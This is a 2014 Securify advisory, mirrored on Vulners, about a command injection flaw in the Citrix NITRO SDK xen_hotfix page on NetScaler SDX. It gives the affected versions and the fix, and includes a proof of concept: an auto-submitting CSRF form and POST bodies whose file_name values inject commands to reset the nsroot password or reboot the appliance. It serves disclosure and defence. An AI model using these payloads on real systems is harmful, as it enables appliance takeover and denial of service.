Vulners
Lucene search
Citrix NITRO SDK Command Injection
`------------------------------------------------------------------------
Command injection vulnerability in Citrix NITRO SDK xen_hotfix page
------------------------------------------------------------------------
Han Sahin, August 2014
------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
Securify discovered a command injection vulnerability in xen_hotfix page
of the NITRO SDK. The attacker-supplied command is executed with
elevated privileges (nsroot). This issue can be used to compromise of
the entire Citrix SDX appliance and all underling application's and
data.
------------------------------------------------------------------------
Tested version
------------------------------------------------------------------------
This issue was discovered in Citrix NetScaler SDX svm-10.5-50-1.9, other
versions may also be affected.
------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
Citrix reports that this vulnerability is fixed in NetScaler 10.5 build
52.3nc.
------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://www.securify.nl/advisory/SFY20140806/command_injection_vulnerability_in_citrix_nitro_sdk_xen_hotfix_page.html
This vulberability exists because the file_name parameter submitted to the /nitro/v1/config/xen_hotfix page used in a shell command without proper input validation/sanitation, introducing a command execution vulnerability. The shell command is executed with elevated privileges (nsroot), which allows attackers to run arbitrary commands with these privileges. This issue can be used to compromise of the entire Citrix SDX appliance and all underling application's and data.
The following proof of concept can be used to exploit this issue;
<html>
<body>
<form action="https://SDXHOSTIP/nitro/v1/config/xen_hotfix" method="POST">
<input type="hidden" name="object" value="{"params":{"action":"start"},"xen_hotfix":[{"file_name":"../../etc/passwd;echo nsroot:Securify|chpasswd;"}]}" />
<input type="submit" value="Submit request" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
POST /nitro/v1/config/xen_hotfix HTTP/1.1
-----------------------------------------
object={"params"%3a{"action"%3a"start"}%2c"xen_hotfix"%3a[{"file_name"../../etc/passwd;reboot;"}]}
or
object={"params"%3a{"action"%3a"start"}%2c"xen_hotfix"%3a[{"file_name"%3a"../../etc/passwd;echo nsroot:han|chpasswd;"}]}
Due to insufficient Cross-Site Request Forgery protection, it is possible to exploit this issue by tricking a logged in admin user into visiting a specially crafted web page.
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
20 Mar 2015 00:00Current
0.1Low risk
Vulners AI Score0.1